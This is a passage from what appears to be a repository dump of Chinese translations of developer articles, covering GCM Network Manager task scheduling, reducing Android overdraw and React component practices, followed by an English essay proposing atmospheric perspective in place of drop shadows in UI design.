30)\n\t\t\t.setTag(LogService.TAG_TASK_ONEOFF_LOG)\n\t\t\t.setUpdateCurrent(false)\n\t\t\t.setRequiredNetwork(Task.NETWORK_STATE_CONNECTED)\n\t\t\t.setRequiresCharging(false)\n\t\t\t.build();\n\t\n\tmGcmNetworkManager.schedule(task);\n\n通过使用Builder模式，我们给定了任务的所有参数：\n\n* Service: 用于控制任务的确切GcmTaskService。这样我们可以在后面停止它。\n* ExecutionWindow：任务执行的时间区间。第一个参数是最低时间，第二个参数是最高时间（都是以秒为单位）。这个参数是强制的。\n* Tag：这里通过tag来在onRunTask方法中识别哪一个任务正在执行。每个tag都应该是唯一的，长度上限是100位。\n* UpdateCurrent：判断该任务是否要覆盖之前存在的有相同tag的任务。默认情况下这个参数是false，也就是不覆盖。\n* RequiredNetwork：设置一个任务执行所需的网络状态。在这里如果无网络连接，任务就不会被执行。\n* RequiresCharging：任务执行是否需要设备处在充电状态。\n\n都设置好之后，任务就被构建好了，通过GcmNetworkManager实例进行调度，然后在某个时间执行。\n\n而调度一个周期性任务要这样做：\n\n\tTask task = new PeriodicTask.Builder()\n\t\t\t.setService(CustomService.class)\n\t\t\t.setPeriod(30)\n\t\t\t.setFlex(10)\n\t\t\t.setTag(LogService.TAG_TASK_PERIODIC_LOG)\n\t\t\t.setPersisted(true)\n\t\t\t.build();\n\t\n\tmGcmNetworkManager.schedule(task);\n\n和上面的代码区别不大，主要的区别有这些：\n\n* Period：指定该任务至少要每个时间区间执行一次，时间区间以秒为单位作为参数传入。默认情况下你无法控制任务是在时间区间内的哪个具体时间点执行。这个参数是强制的。\n* Flex：指定该任务需要在距离结束点多长时间之内执行。在这里Period是30，Flex是10，那么任务就会在20-30秒的区间内执行。\n* Persisted：判断该任务在重启过程后是否保留。默认情况下周期性任务的这个参数都是true，而一次性任务没有这个参数。如果是true则需要Receive Boot Completed权限，不然无效。\n\n看到GCM网络管理工具的API有多么的强大了吧？创建和调度代码简直不能更简单。\n\n## 取消任务\n\n我们已经看到了如何调度任务，所以还需要看一下如何取消任务。正在执行的任务是无法被取消的，但我们可以取消还未被执行的任务。\n\n你可以直接取消给定GcmTaskService的所有任务：\n\n\tmGcmNetworkManager.cancelAllTasks(CustomService.class);\n\n你也可以通过给出tag和GcmTaskService来取消一个具体任务：\n\n\tmGcmNetworkManager.cancelTask(\n\t\t\tCustomService.TAG_TASK_PERIODIC_LOG,\n\t\t\tCustomService.class\n\t);\n\n不管怎样，要记住正在执行的任务无法取消。\n\n## Google Play服务\n\n使用网络管理工具调度任务的起始点就是刚才使用到的schedule方法，而这需要Google Play服务。为了正常使用其服务，我们需要进行如下检测：\n\n\tint resultCode = GooglePlayServicesUtil.isGooglePlayServicesAvailable(this);\n\tif (resultCode == ConnectionResult.SUCCESS) {\n\t\tmGcmNetworkManager.schedule(task);\n\t} else {\n\t\t// 以其他方式处理task\n\t}\n\n如果Google Play服务不可使用，GcmNetworkManager会静默失效，这就是为什么需要提前检测。\n\n类似地，当Google Play服务或是客户端APP被升级，所有的已调度的任务都会失效。为了避免丢失当前已调度的任务，GcmNetworkManager会调用GcmTaskService(这里是CustomService)的onInitializeTasks()方法。这个方法是用来重新调度任务的，对周期性任务尤其常见。下面是示例：\n\n\t@Override\n\tpublic void onInitializeTasks() {\n\t\tsuper.onInitializeTasks();\n\t\t// 重新调度已失效的任务\n\t}\n\n## 总结\n\n我们已经深入研究了一下GCM网络管理工具，以及如何用它来节省电量，优化网络表现，并使用Task进行批量工作。下次你需要在某个时间进行一些网络操作的时候，不妨考虑使用GCM网络管理工具使网络访问更加精简且不失健壮。\n\n如果你觉得这篇文章还算因吹斯挺，打算学习更多有关Android Marshmallow或其他社区工具的特点，不妨查看下面的链接（英文）：\n\n* [用Java开始开发Android](https://training.bignerdranch.com/classes/beginning-android-with-java)\n* [Android基础](https://training.bignerdranch.com/classes/android-fundamentals)\n* [Android进阶](https://training.bignerdranch.com/classes/advanced-android)\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/optimizing-layouts-in-android-reducing-overdraw.md",
    "content": "> * 原文地址：[Optimizing Layouts in Android – Reducing Overdraw](http://riggaroo.co.za/optimizing-layouts-in-android-reducing-overdraw/)\n* 原文作者：[Rebecca](https://riggaroo.co.za/female-android-developer/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[XHShirley](https://github.com/XHShirley), [jamweak](https://github.com/jamweak)\n\n# `Android` 界面的性能优化 —— 减少过度绘制\n\n你有了一个很棒的灵感，并且把它制作成了一个应用程序发布到了网上。但是，现在你听到了来自用户的抱怨，例如这个应用程序运行起来很慢有卡顿的感觉并且太难使用。:disappointed_relieved:。\n\n有一个简单的解决方法是，你可以使用 `GPU Overdraw` 工具来改进应用程序的渲染时间。\n\n## 什么是过度绘制？\n\n过度绘制发生在每一次应用程序要求系统在某些界面上再绘制一些界面的时候。这个 `Debug GPU Overdraw` 工具可以在屏幕最上层叠加上一些颜色，它显示出一个像素点被重复绘制了多少次。\n\n## 我怎么能启动这个 `Debug GPU Overdraw` 工具？\n\n1. 进入设备上的`设置`菜单\n2. 进入`开发者选项`\n3. 选择`调试 GPU 过度绘制`\n4. 选择`显示过度绘制区域`\n\n你会注意到屏幕上的颜色有了变化 —— 不必惊慌。返回到你的应用程序，现在我们学习如何来优化我们的界面。\n\n## 不同颜色代表了什么意思？\n\n[![Screenshot_2016-02-01-11-08-40](https://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screenshot_2016-02-01-11-08-40.png?resize=576%2C1024&ssl=1)\n](https://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screenshot_2016-02-01-11-08-40.png?resize=576%2C1024&ssl=1)\n\n以下是各种颜色的解释:\n\n**本色** —— 没有发生过度绘制 —— 屏幕上的像素点只被绘制了 **1** 次。\n\n**蓝色** —— `1 倍过度绘制` —— 屏幕上的像素点被绘制了 **2** 次。\n\n**绿色** —— `2 倍过度绘制` —— 屏幕上的像素点被绘制了 **3** 次。\n\n**粉色** —— `3 倍过度绘制` —— 屏幕上的像素点被绘制了 **4** 次。\n\n**红色** —— `4 倍过度绘制` —— 屏幕上的像素点被绘制了 **5** 次。\n\n[![GPU Overdraw](http://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screen-Shot-2016-02-10-at-6.40.42-PM.png?resize=150%2C150%20150w,%20http://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screen-Shot-2016-02-10-at-6.40.42-PM.png?resize=50%2C50%2050w)](http://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screen-Shot-2016-02-10-at-6.40.42-PM.png)\n\n你可以看看我的 [`Book Dash` 应用程序](http://riggaroo.co.za/portfolio/book-dash-android-app/)，它在初始化的界面上做了很多过度绘制。\n\n## 如何修正过度绘制的问题？\n\n在上文的例子中，我移除了设定在 `RelativeLayout` 上的背景色，并且使用 `theme` 来绘制背景。\n\n将以下代码:\n\n```\n<RelativeLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:background=\"#FFFFFF\">\n\n```\n\n替换成:\n\n\n```\n<RelativeLayout\n     android:layout_width=\"match_parent\"\n     android:layout_height=\"match_parent\">\n```\n\n\n修改代码后的界面得到了如下的结果😊:\n\n[![After removing the background colour.](https://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screenshot_2016-02-01-11-20-08.png?resize=576%2C1024&ssl=1)\n](https://i1.wp.com/riggaroo.co.za/wp-content/uploads/2016/02/Screenshot_2016-02-01-11-20-08.png)\n\n就如你看到的，过度绘制的问题被最大程度地减少了。红色的过度绘制区域被大大地减少了。\n\n这个界面还有继续优化的空间，现在大部分展现的已经是界面的真本色了，还有一些蓝色的过度绘制区域。有些过度绘制是不可避免的。\n\n并不是所有的过度绘制都是由背景色造成的。其他问题也会导致过度绘制，例如，有非常复杂层次结构或者包含有太多视图的界面。\n\n你应当把目标定在 **最多只允许 2 倍过度绘制 （也就是只出现绿色过度绘制区域）**。\n\n你也可以使用一些其他的工具来调试为什么发生了过度绘制，例如，[Hierarchy Viewer](http://developer.android.com/tools/performance/hierarchy-viewer/index.html) 和 [GL Tracer](http://developer.android.com/tools/help/gltracer.html).\n\n你是怎么来解决调试过度绘制时遇到的问题？你还有其他宝贵的经验分享给大家么？\n\n参考资料：\n\n[http://developer.android.com/tools/performance/debug-gpu-overdraw/index.html](http://developer.android.com/tools/performance/debug-gpu-overdraw/index.html)\n\n\n\n"
  },
  {
    "path": "TODO/our-best-practices-for-writing-react-components.md",
    "content": "> * 原文地址：[Our Best Practices for Writing React Components](https://medium.com/code-life/our-best-practices-for-writing-react-components-dec3eb5c3fc8#.aufjnbwo5)\n* 原文作者：[Scott Domes](https://medium.com/@scottdomes)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[imink](https://github.com/imink) \n* 校对者：[L9m](https://github.com/L9m)、[vuuihc](https://github.com/vuuihc)\n\n# 编写 React 组件的最佳实践\n![](https://cdn-images-1.medium.com/max/800/1*GEniDHmmO0nkVuKQ8fhLYw.png)\n\n\n当我一开始写 React 的时候，我记得有许多不同的方法来写组件，每个教程都大不相同。虽然从那以后 React 框架已经变得相当的成熟，但似乎仍然没有一种明确的写组件的“正确”方式。\n\n\n过去一年在 [MuseFind](https://musefind.com/) 工作中，我们的团队写过了无数的 React 组件。我们也在不断的改善方法直到我们满意为止。\n\n这篇指南是我们建议的编写 React 组件的最佳方式。不管你是初学者还是有经验的人，我们希望它对你有用。\n\n在开始之前，一些注意事项：\n\n- 我们使用 ES6 和 ES7 语法。\n- 如果你还不清楚展示组件和容器组件，我们建议先读[这篇](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0#.kuvqndiqq).\n- 请不吝评论，留下你的建议和问题以及反馈。\n\n### 基于类的组件\n\n基于类的组件包含了状态和方法。我们应该尽量保守的去使用它们，但是这类组件有他们的用武之地。\n\n\n接下来，我们来逐行地构建我们的组件\n\n#### 引入 CSS\n\n```javascript\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n\nimport EexpandableFormRequiredPropsxpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n```\n\n我理论上比较倾向 [CSS in JavaScript](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55)，但是这还是一个比较新的想法，到目前为止并没有一个相对成熟的解决方法出现。所以目前，我们对每一个组件都引入 CSS 文件。\n\n\n我们用空行把本地引入和依赖引入分开。\n\n#### 初始化状态\n\n```javascript\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n\nimport ExpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n\nexport default class ProfileContainer extends Component {\n  state = { expanded: false }\n```\n\n如果你使用 ES6 而不是 ES7，请在构造方法里初始化状态。除此之外，你可以在 ES7 中使用上面的方法初始化状态。更多信息，请移步[这里](http://stackoverflow.com/questions/35662932/react-constructor-es6-vs-es7)。\n\n当然，我们还需将我们的类作为默认类导出。\n\n#### propTypes 和 defaultProps\n\n```javascript\n\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n\nimport ExpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n\nexport default class ProfileContainer extends Component {\n  state = { expanded: false }\n\n  static propTypes = {\n    model: React.PropTypes.object.isRequired,\n    title: React.PropTypes.string\n  }\n\n  static defaultProps = {\n    model: {\n      id: 0\n    },\n    title: 'Your Name'\n  }\n```\n\npropTypes 和 defaultProps 是静态的属性，需要尽可能早的在组件代码中声明。因为它们是作为文档而存在的，所以当其他开发者在阅读代码时候，它们应该尽早被看到。\n\n\n所有的组件都应该有 propTypes。\n\n#### 方法\n\n```javascript\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n\nimport ExpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n\nexport default class ProfileContainer extends Component {\n  state = { expanded: false }\n\n  static propTypes = {\n    model: React.PropTypes.object.isRequired,\n    title: React.PropTypes.string\n  }\n\n  static defaultProps = {\n    model: {\n      id: 0\n    },\n    title: 'Your Name'\n  }\n\n  handleSubmit = (e) => {\n    e.preventDefault()\n    this.props.model.save()\n  }\n\n  handleNameChange = (e) => {\n    this.props.model.name = e.target.value\n  }\n\n  handleExpand = (e) => {\n    e.preventDefault()\n    this.setState({ expanded: !this.state.expanded })\n  }\n```\n\n在基于类的组件中，当你需要向子组件传递方法的时候，你应该确保他们被调用的时候正确地绑定了 *this*。通常可以由 *this.handleSubmit.bind(this)* 传递给子组件来实现。\n\n我们认为这种方法更简洁易用，通过 ES6 的箭头函数来自动确保正确的上下文。\n\n#### 解构 Props\n\n```javascript\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n\nimport ExpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n\nexport default class ProfileContainer extends Component {\n  state = { expanded: false }\n\n  static propTypes = {\n    model: React.PropTypes.object.isRequired,\n    title: React.PropTypes.string\n  }\n\n  static defaultProps = {\n    model: {\n      id: 0\n    },\n    title: 'Your Name'\n  }\n\n  handleSubmit = (e) => {\n    e.preventDefault()\n    this.props.model.save()\n  }\n\n  handleNameChange = (e) => {\n    this.props.model.name = e.target.value\n  }\n\n  handleExpand = (e) => {\n    e.preventDefault()\n    this.setState(prevState => ({ expanded: !prevState.expanded }))\n  }\n\n  render() {\n    const {\n      model,\n      title\n    } = this.props\n    return ( \n      <ExpandableForm \n        onSubmit={this.handleSubmit} \n        expanded={this.state.expanded} \n        onExpand={this.handleExpand}>\n        <div>\n          <h1>{title}</h1>\n          <input\n            type=\"text\"\n            value={model.name}\n            onChange={this.handleNameChange}\n            placeholder=\"Your Name\"/>\n        </div>\n      </ExpandableForm>\n    )\n  }\n}\n```\n\n有多个 props 的组件应该每行只写一个 prop，就像上面一样。\n\n\n#### 装饰器\n```javascript\n@observer\nexport default class ProfileContainer extends Component {\n```\n如果你使用了像[mobx](https://github.com/mobxjs/mobx)的工具，你可以像上面这样来装饰组件，这和把组件传递到函数一样。\n\n\n[装饰器](http://javascript.info/tutorial/decorators) 是一种灵活可读的用来修饰组件功能的方法，配合 mobx 和 我们自己的 [mobx-models](https://github.com/musefind/mobx-models) 库，我们可以广泛的应用这种方法。\n\n如果你不想使用装饰器，可以这么做：\n\n```javascript\nclass ProfileContainer extends Component {\n  // Component code\n}\n\nexport default observer(ProfileContainer)\n```\n\n#### 闭包\n\n避免向子组件传递新的闭包，比如:\n\n```javascript\n<input\n  type=\"text\"\n  value={model.name}\n  // onChange={(e) => { model.name = e.target.value }}\n  // ^ Not this. Use the below:\n  onChange={this.handleChange}\n  placeholder=\"Your Name\"/>\n```\n\n原因在此：每次父级组件渲染的时候，一个新的函数就会被创建，传递到 input 中。\n\n如果这里的 input 是一个 React 组件，这会自动触发该组件重新渲染，不管该组件当中的 props 有没有被改变。\n\n子级校正 （Reconciliation） 是 React 框架中最耗资源的部分。如果不需要，就不要增加难度。而且传递一个类方法会使代码更易于阅读，易于调试，易于修改。\n\n以下是组件的全貌：\n\n```javascript\nimport React, {Component} from 'react'\nimport {observer} from 'mobx-react'\n// Separate local imports from dependencies\nimport ExpandableForm from './ExpandableForm'\nimport './styles/ProfileContainer.css'\n\n// Use decorators if needed\n@observer\nexport default class ProfileContainer extends Component {\n  state = { expanded: false }\n  // Initialize state here (ES7) or in a constructor method (ES6)\n \n  // Declare propTypes as static properties as early as possible\n  static propTypes = {\n    model: React.PropTypes.object.isRequired,\n    title: React.PropTypes.string\n  }\n\n  // Default props below propTypes\n  static defaultProps = {\n    model: {\n      id: 0\n    },\n    title: 'Your Name'\n  }\n\n  // Use fat arrow functions for methods to preserve context (this will thus be the component instance)\n  handleSubmit = (e) => {\n    e.preventDefault()\n    this.props.model.save()\n  }\n  \n  handleNameChange = (e) => {\n    this.props.model.name = e.target.value\n  }\n  \n  handleExpand = (e) => {\n    e.preventDefault()\n    this.setState(prevState => ({ expanded: !prevState.expanded }))\n  }\n  \n  render() {\n    // Destructure props for readability\n    const {\n      model,\n      title\n    } = this.props\n    return ( \n      <ExpandableForm \n        onSubmit={this.handleSubmit} \n        expanded={this.state.expanded} \n        onExpand={this.handleExpand}>\n        // Newline props if there are more than two\n        <div>\n          <h1>{title}</h1>\n          <input\n            type=\"text\"\n            value={model.name}\n            // onChange={(e) => { model.name = e.target.value }}\n            // Avoid creating new closures in the render method- use methods like below\n            onChange={this.handleNameChange}\n            placeholder=\"Your Name\"/>\n        </div>\n      </ExpandableForm>\n    )\n  }\n}\n```\n\n### 函数组件\n\n这部分组件没有状态和方法。此类组件比较纯粹，易于理解。尽量多使用这类组件。\n\n#### propTypes\n\n```javascript\nimport React from 'react'\nimport {observer} from 'mobx-react'\n\nimport './styles/Form.css'\n\nconst expandableFormRequiredProps = {\n  onSubmit: React.PropTypes.func.isRequired,\n  expanded: React.PropTypes.bool\n}\n\n// Component declaration\n```\n\n这里，我们在文件最开始给变量赋值 propTypes，所以它们立即可见。在下面的组件声明中，我们来更恰当地赋值。\n\n#### 解构 Props 和 defaultProps\n\n```javascript\nimport React from 'react'\nimport {observer} from 'mobx-react'\n\nimport './styles/Form.css'\n\nconst expandableFormRequiredProps = {\n  onSubmit: React.PropTypes.func.isRequired,\n  expanded: React.PropTypes.bool\n}\n\nfunction ExpandableForm(props) {\n  return (\n    <form style={props.expanded ? {height: 'auto'} : {height: 0}}>\n      {props.children}\n      <button onClick={props.onExpand}>Expand</button>\n    </form>\n  )\n}\n```\n\n我们的组件是一个函数，其中 props 作为参数。我们可以像下面这样把它展开：\n\n\n```javascript\nimport React from 'react'\nimport {observer} from 'mobx-react'\n\nimport './styles/Form.css'\n\nconst expandableFormRequiredProps = {\n  onExpand: React.PropTypes.func.isRequired,\n  expanded: React.PropTypes.bool\n}\n\nfunction ExpandableForm({ onExpand, expanded = false, children }) {\n  return (\n    <form style={ expanded ? { height: 'auto' } : { height: 0 } }>\n      {children}\n      <button onClick={onExpand}>Expand</button>\n    </form>\n  )\n}\n```\n\n注意我们可以通过更可读的方式来使用默认参数作为 defaultProps。如果 expanded 没有被定义，我们设定它为 false。（一种更合理的解释是，虽然它是布尔类型，但是可以避免出现 ‘Cannot read < property > of undefined’ 此类对象错误的问题）。\n\n避免使用如下的 ES6 语法：\n\n```javascript\nconst ExpandableForm = ({ onExpand, expanded, children }) => {\n```\n\n看起来非常得时髦，但这里的函数实际上未命名。\n\n如果Babel设置正确，这里未命名不会造成问题。但是如果Babel设置错了的话，任何错误都会以 << anonymous >> 的方式呈现，这对于调错是非常糟糕的体验。\n\n未命名的函数也可以会伴随 Jest （一个 React 测试库）出现问题。由于这些难以理解的 bugs 的潜在问题，我们建议使用 *function 代替 const.*\n\n\n#### 封装\n\n既然你不能对函数组件使用装饰器，你可以把函数作为参数传递过去。\n\n```javascript\nimport React from 'react'\nimport {observer} from 'mobx-react'\n\nimport './styles/Form.css'\n\nconst expandableFormRequiredProps = {\n  onExpand: React.PropTypes.func.isRequired,\n  expanded: React.PropTypes.bool\n}\n\nfunction ExpandableForm({ onExpand, expanded = false, children }) {\n  return (\n    <form style={ expanded ? { height: 'auto' } : { height: 0 } }>\n      {children}\n      <button onClick={onExpand}>Expand</button>\n    </form>\n  )\n}\n\nExpandableForm.propTypes = expandableFormRequiredProps\n\nexport default observer(ExpandableForm)\n```\n\n以下是组件的全貌：\n\n```javascript\nimport React from 'react'\nimport {observer} from 'mobx-react'\n// Separate local imports from dependencies\nimport './styles/Form.css'\n\n// Declare propTypes here as a variable, then assign below function declaration \n// You want these to be as visible as possible\nconst expandableFormRequiredProps = {\n  onSubmit: React.PropTypes.func.isRequired,\n  expanded: React.PropTypes.bool\n}\n\n// Destructure props like so, and use default arguments as a way of setting defaultProps\nfunction ExpandableForm({ onExpand, expanded = false, children }) {\n  return (\n    <form style={ expanded ? { height: 'auto' } : { height: 0 } }>\n      {children}\n      <button onClick={onExpand}>Expand</button>\n    </form>\n  )\n}\n\n// Set propTypes down here to those declared above\nExpandableForm.propTypes = expandableFormRequiredProps\n\n// Wrap the component instead of decorating it\nexport default observer(ExpandableForm)\n```\n\n### JSX 中的条件语句\n\n如果你要使用很多有条件限制的渲染，这里是你需要避免的：\n\n![](https://cdn-images-1.medium.com/max/800/1*4zdSbYcOXTVchgSJqtk0Ig.png)\n\n内嵌套的三元运算符不是一个好想法。\n\n虽然有一些第三方的库解决这个问题（[JSX-Control Statements](https://github.com/AlexGilleran/jsx-control-statements)），但这里我们用下面的方法来解决复杂的条件语句，而不去引用这些依赖。\n\n![](https://cdn-images-1.medium.com/max/800/1*IVFlMaSGKqHISJueTC26sw.png)\n\n\n使用花括号包装一个 [IIFE](http://stackoverflow.com/questions/8228281/what-is-the-function-construct-in-javascript)，然后把 if 语句放进去，返回你想渲染的任何东西。注意 IIFE 可能会导致性能问题，但是在绝大多数情况下，它导致的性能问题还不足以与代码可读性问题相比。\n\n同样，当你只想在一个条件语句中渲染某个元素，不要这么做：\n```javascript  \n{\n  isTrue\n   ? <p>True!</p>\n   : <none/>\n}\n```\n\n应该使用短路求值（short-circuit evaluation）的方式\n```javascript\n{\n  isTrue && \n    <p>True!</p>\n}\n```\n\n完\n"
  },
  {
    "path": "TODO/out-of-the-dropshadows.md",
    "content": "> * 原文地址：[OUT OF THE (DROP)SHADOWS](http://scottjensen.design/2017/05/out-of-the-dropshadows/)\n> * 原文作者：[Scott Jensen](http://scottjensen.design/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\nTo say that I was disappointed when Apple released iOS7 in 2013 is an understatement. To be on-trend, Apple had flattened their entire UI without any real reinforcing principles. This came with countless oversights to the user’s experience which took a backseat to dropping skeuomorphism. It was flat for the sake of flat. Compare this with Google’s Material Design which came shortly after. Material embraced flat design with a specific opinion — mimicking real-world materials. This immersive design language incorporated the flat look while also maintaining depth. How? By using big, soft drop-shadows.\n\nJust looking at the two design languages, it’s clear that Material took the better approach. Even putting aside the rich animations, Material Design provided a cleaner user experience that was also forward thinking and visually appealing. It was flat, but with the important compromise of shadow. This small compromise allows Material to maintain depth and look more polished. Even Apple seems to think so; they’ve been subtly letting drop shadows slip into their UIs ever since.\n\nAnd now Microsoft, who were flat *before* flat was cool, have announced their new design language: Fluent Design. It looks great, but it also looks extremely trendy — big, soft drop shadows.\n\nIt is strange that the drop shadow is a visual relic that has managed to cling to UI design for decades. It doesn’t matter what the design patterns of the day embody, drop shadows are our go-to crutch for creating depth. But why? Does it need to be that way? Can an opinionated flat design still have depth and truly be free of drop shadows? What would that even look like?\n\n### A Different Approach\n\nThe fact is, we are surrounded by a world that is full of depth, and very little of it is defined by shadow. If we are going to replace drop shadows in our visual UI metaphors, we should look at other options that create depth in the world around us.\n\nSo how do we perceive depth when shadows aren’t involved? There are a couple easy answers. Scale is the most obvious solution — big things are nearby, small objects are far away. Linear perspective is another, using an objects dimensionality to recede into space. But for either of those approaches to be really effective it would require a 3D environment. Building a two dimensional UI around those three dimensional principles would feel gimmicky and distracting. Until AR and VR are more commonplace, that’s just not an option.\n\n![paul-gilmore atmospheric perspective](http://scottjensen.design/wp-content/uploads/2017/05/paul-gilmore-145802-1-1.jpg)\n\nThis lead me to another, lesser known type of depth perception. Atmospheric perspective is the phenomena where the atmosphere between the viewer and an object shifts the value and hue of the object. The further away the object is, the more atmosphere and the stronger the effect. If you look at a distant mountain range, you’ll know what I’m talking about. Utilizing this principle is a common technique in painting and art. I was first introduced to the concept when studying traditional [Japanese landscape ink paintings.](https://www.google.com/search?q=japanese+ink+painting+landscape&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwiB3vDCk4rUAhUhqVQKHdDbBaUQ_AUIBigB&amp;biw=1786&amp;bih=1009&amp;dpr=2) If you want a more recent example, pick up any [video game art](https://www.google.com/search?q=video+game+concept+environment+art&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwj8xs-Wk4rUAhVoj1QKHVhCA38Q_AUIBigB&amp;biw=1786&amp;bih=1009) book and you’ll see it being used heavily in their environments and landscapes. So what if we took that concept and applied it to UI design? I decided to explore the possibilities for myself.\n\n### Creating the Effect\n\nAs a proof of concept — and a small side project — I took it upon myself to see if this could actually translate. But before any UI elements could be built, I needed to create a basic formula for simulating the effect. I wanted to approach this as a big picture concept to see if it could support an entire design system, not just a few screens in a single app. First, I broke down the effect into three core components: The content, the atmosphere, and the hue.\n\n![atmosphere-effect2](http://scottjensen.design/wp-content/uploads/2017/05/atmosphere-effect2.png)\n\n#### Content\n\nThis represents the actual object, whether it’s a photo or a button in the UI. It is the object with full exposure and correct color.\n\n#### Atmosphere\n\nThis layer represents the density of atmosphere between the user and the object. It specifically affects the object’s value by muting the tones. Whites are less white, blacks are less black.\n\n#### Hue\n\nThis layer only shifts the hue of the object, including the atmospheric layer beneath it. In the real world, this color shift relates to the color that is being reflected in the atmosphere. Often it’s blue for the same reasons as the sky, but it can be any color that becomes predominant in the light. In a sunset, for example, the colors become more orange and red. To mimic this flexibility, this layer would take on the color of another object in the UI — a background image, maybe a cover photo — and would serve to shift the hue of all other elements within that view.\n\n![scale](http://scottjensen.design/wp-content/uploads/2017/05/scale.png)\n\n#### Creating Increments\n\nBut creating the basic effect was only the first step. If this was going to be used to simulate depth, that meant it needed multiple levels or increments. Furthermore, I wanted to use a standard when creating my designs and not just eye-ball each screen to ‘what looks good.’ So I developed a basic 10-step system to represent different layers of depth that were possible in the design.\n\nThe big takeaway here is that objects do not approach the ends of the value spectrum like they do when using typical overlays or shadow. Overlays simply darken all of the elements, pushing them closer and closer to black (or white, if it is a white overlay). In the atmosphere model, objects actually approach a middle-of-the-spectrum area. This means that blacks *and* whites become less clear and more muted.\n\nThis creates a big opportunity for contrast, which is very important for simulating depth. If you design your foreground at a level one, with a background at a level six or seven, you’re actually free to use a broader range of bold colors and values. Use black text. Use white text. It will have the contrast to stand out, giving the designs more flexibility.\n\n### Incorporating a User Interface\n\n![music-iphone-mockup](http://scottjensen.design/wp-content/uploads/2017/05/music-iphone-mockup.png)\n\nAfter working through this it was time to put the concept to a test by applying it to a UI. I decided to go with a music app, because hey, the world really needs *one more* music app design, right? Honestly it was just an easy place to start. Using a basic design, I broke the UI into several groups and then applied the atmospheric system to each of them. Interactive elements like the tab bar and play controls were kept at level one, while backgrounds and subordinate elements were pushed back into other levels. The cover photo was used as the color influence, giving the entire view a subtle influence of pink hues in the example.\n\n![Exploded2](http://scottjensen.design/wp-content/uploads/2017/05/Exploded2.gif)\n\nThe result? The system worked. At least, it did in my eyes. Maybe you’re thinking, ‘Nah, that design looks all washed out and muted.’ Really, it looks great on an actual device. What surprised me the most was how my eye naturally found its way through the UI. The interactive elements seemed to *pop*, making them easy to find and focus on. The other elements receded in space, still providing context and depth. And the best part?\n\n Not a single drop shadow needed.\n\n### OS-Level Design Systems\n\nI decided to push the concept further. Could an entire design language be based on a principle like this? What would system-level interactions look like if they incorporated atmospheric perspective to distinguish themselves from app-level elements? What I found is that the OS level is really where a concept like this would shine. Multi-tasking, notifications, control center — these are all things that require a concept of depth to break the chrome of other apps being used on the screen. This is particularly important on mobile, where an app is allotted the entire screen real estate.\n\n![multitasking2](http://scottjensen.design/wp-content/uploads/2017/05/multitasking2-1.gif)\n\n![notifications2](http://scottjensen.design/wp-content/uploads/2017/05/notifications2-1.gif)\n\n![control-center](http://scottjensen.design/wp-content/uploads/2017/05/control-center-2.gif)\n\n![lock-screen2](http://scottjensen.design/wp-content/uploads/2017/05/lock-screen2-1.gif)\n\nAll of these prototypes were made using [Atomic.io.](https://atomic.io) You can see nicer versions [here.](https://app.atomic.io/d/BaP8UD3PDNP8) Tapping on the right/left side of the screen will move you between the prototypes. Feel free to leave comments!\n\nObviously a desktop OS doesn’t suffer the same needs of a mobile UI, but there is no reason this concept wouldn’t scale up to work for a larger screen. It would be particularly useful to solve one specific problem — drop shadows to distinguish separate windows. No matter the platform, that is one problem no one seems able to get around. Using an atmospheric model, inactive windows could be pushed back in space. This would keep them entirely visible for reference, while making the active window perfectly clear to the user. It might even be easier to stay focused.\n\n![macOS](http://scottjensen.design/wp-content/uploads/2017/05/macOS.png)\n\nSo there it is — a flat visual system that can still utilize depth without compromising its flat-ness. Overall the experiment was a success, and something that I would love to see included in a design system. It would be great in a single app, but would really stand out if someone like Apple used a concept like this to opinionate their design.\n\n### A Few Last Notes\n\nThese designs aren’t *baked.* They aren’t ready to be deployed to millions of devices around the world. They’re pretty rough and include plenty of oversights. I know that. All of this is simply a proof of concept and the result of one designer going through some self-imposed explorations over a few nights and weekends. I’m not an entire team, and I wouldn’t pretend to be more capable than any of the folks at Apple, Google, or anywhere else. There would be countless other considerations required in order to fully realize a concept like this, and the system itself could use a lot more fine tuning. My goal was to discover whether that potential even existed. In my opinion, I believe it does.\n\nWill drop shadows ever disappear from UI? Probably not. Despite this proof of concept, I will still be using them frequently. I’m even using them on this very website. In a perfect world, a UI concept like this would likely still incorporate drop shadows to push it even further. I simply chose to challenge myself by avoiding them completely. The point is, there is a big visual world outside that our eyes naturally understand. As designers, we have a lot of tools at our disposal for translating that world into an interface. There’s no need to always stick with what has been done in the past.\n\nLastly, I’d love to hear what you think! [Send me a tweet](https://twitter.com/intent/tweet?text=Hey%20@_scottjensen%20I%20[verb]%20your%20[adjective]%20post%20and%20thought%20it%20was%20[adjective].) and let me know.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 